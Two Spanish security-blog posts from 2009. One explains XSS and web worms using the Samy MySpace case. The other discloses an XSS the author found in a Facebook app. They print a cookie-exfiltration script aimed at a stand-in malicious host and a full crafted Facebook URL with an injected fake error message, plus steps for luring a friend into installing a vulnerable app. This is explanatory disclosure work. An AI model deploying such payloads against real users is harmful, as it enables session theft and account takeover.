Sie sind auf Seite 1von 4

Que es un gusano web y cómo funciona

Published on Mayo 1, 2009 in Seguridad. 8 Comentarios

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse


rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por
correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu
ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente
nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los
gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que
no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es
un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo
de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori
parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas
peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las
bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie
del visitante. La cookie es una pequeña porción de información, que sirve para que la
página web, recuerde que te has autenticado correctamente, y no te pida la contraseña
cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código
javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin
embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web
que hospeda ese código javascript.

Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a


las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos
una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por
pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código
javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de


seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría
escribirte un mail que contubiese el siguiente código:
<script>document.location.href = ‘www.paginamaligna.com/recogercookie.php?
cookie=’+document.cookie; </script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com,


pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para
el navegador, procedía de gmail.

Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy
autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender,
imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un
campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite
introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert,


introduzco un código, que hace un petición POST a la red social, y modifica el perfil de
la victima, introduciendo en el campo intereses, el mismo código malicioso que yo
tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada
persona que vea ese perfil modificado, modificará automaticamente el suyo, y así
sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir,
infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante
una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma
que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el
mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas


ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto
millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para
firefox.

Agujero de seguridad en facebook

Published on Abril 28, 2009 in Seguridad. 31 Comentarios

Hace unos días, hablando con un amigo, le expliqué que a mi parecer, todas las redes
sociales son inseguras, que ninguna brinda la suficiente seguridad, como para que yo
depositase en ella mis datos, y que por lo tanto, por eso no utilizo facebook, ni nada
similar.

Mi amigo, me respondió que facebook era muy seguro, que con los millones de
personas que lo usan, seguro que muchos expertos lo habían auditado, a lo que yo le
contesté que no se fiase de eso, que sistemas mas grandes, como windows, tienen
muchos agujeros de seguridad, y que la seguridad no depende del número de usuarios
del sistema.

Al final, todo ello desembocó en una mini discusión y finalmente, en una apuesta.
Apostamos a ver si yo era capaz de descubrir un agujero de seguridad en facebook, lo
suficientemente peligroso, como para robar información o incluso suplantar a un
usuario normal.

Pues bien, hoy, después de solo unas cuantas horas mirando facebook, ya he encontrado
el primer agujero de seguridad, un XSS que a priori no parecía explotable, pero que al
final, con un poco de picaresca, he conseguido explotar.

El bug consiste en un enlace especialmente preparado, que si el usuario entra, verá su


facebook, sin trampa ni cartón, pero en el centro, tendrá un texto que le dice que ha
habido un error, y que haga click ahí para continuar, si lo hace, podremos ejecutar
código Javascript en el contexto de facebook, y con ello, robar su cookie, por ejemplo.

Es un XSS normal y corriente, pero que requiere que el usuario siga un enlace, lo cual
reduce un poco el % de éxito y la peligrosidad, ya que un usuario experto, vería el truco.

El bug reside en ciertas aplicaciones de facebook, hasta donde he podido averiguar, es


decir, el usuario debe tener instalado en su facebook, una aplicación, las típicas de
encuestas y cosas de esas, una vez con la aplicación instalada y autorizada, este bug solo
funciona en algunas aplicaciones, por lo que la forma de proceder es la siguiente:

1. Mirar que aplicaciones tiene instaladas tu amigo, y ver si alguna está afectada
por el bug
2. Si no tiene ninguna, invitarle a que use alguna que sabes que está afectada por el
bug, esto es muy fácil
3. Una vez el usuario tiene la aplicación afectada instalada, ya podemos proceder.

Ojo, no estamos hablando de una aplicación maligna creada por nosotros, sino de
aplicaciones normales y corrientes, de las que usa la gente, las cuales algunas, son
inseguras.

Una vez nuestro amigo tiene alguna aplicación vulnerable instalada, solo necesitamos
que visite un enlace especialmente preparado, que le mostrará un mensaje de error, y le
pedirá que haga click para continuar, ese enlace, es el XSS, que de hacer click, podría
permitir robar la cookie, y enviarla a un sitio de terceros.

Yo he hecho la prueba con la aplicación “EreS BuEn PoLvO?” (lo siento, es la primera
que vi vulnerable), y el enlace con el XSS, es el que sigue:

http://apps.facebook.com/qeres-buen-pol-ceijh/?
target=list&send_id=1517598431&x=24897%22%20href=
%22%20javascript:alert(document.cookie);%22%3E%3Cbr%3E%3Cbr%3E%3Cbr
%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3E%3Ch1%20style=
%22color:red;position:relative;left:-60px;%22%3EA%20ocurrido%20un%20error,
%20haz%20click%20aqu%C3%AD%20para%20volver%3C/h1%3E%3C/center%3E
%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E
%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E
%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E
%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E
%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C/a%3E%3Cspan%20style=%22

En este ejemplo, el enlace es totalmente inofensivo, si hacemos click en el texto “se ha


producido un error…” solo veremos nuestra cookie en un pop up del navegador, pero
nuestra cookie no se envía a ningún sitio.

Bastaría con modificar el alert, por un document.location para pasar la cookie a un sitio
de terceros.

Como se puede ver, ninguna red social es segura, cualquiera con tiempo, paciencia e
imaginación puede aprovecharse de cualquier cosa para suplantarte o robar tu identidad,
cuando tu solo has hecho 2 clicks que parecían inofensivos.

Evidentemente, he notificado este agujero a facebook, por lo que en poco tiempo es


probable que deje de funcionar (si es que hacen caso).

Para los escepticos: si os parece que esto es poco peligroso (robar la cuenta de alguien
con 2 clicks de la victima) lo tenéis muy fácil: salid del blog y seguid con vuestras
vidas, esto es un blog de seguridad informática (y frikadas), por lo que poner
comentarios diciendo que un XSS no sirve para nada, solo conllevará la eliminación de
los mismos.

Das könnte Ihnen auch gefallen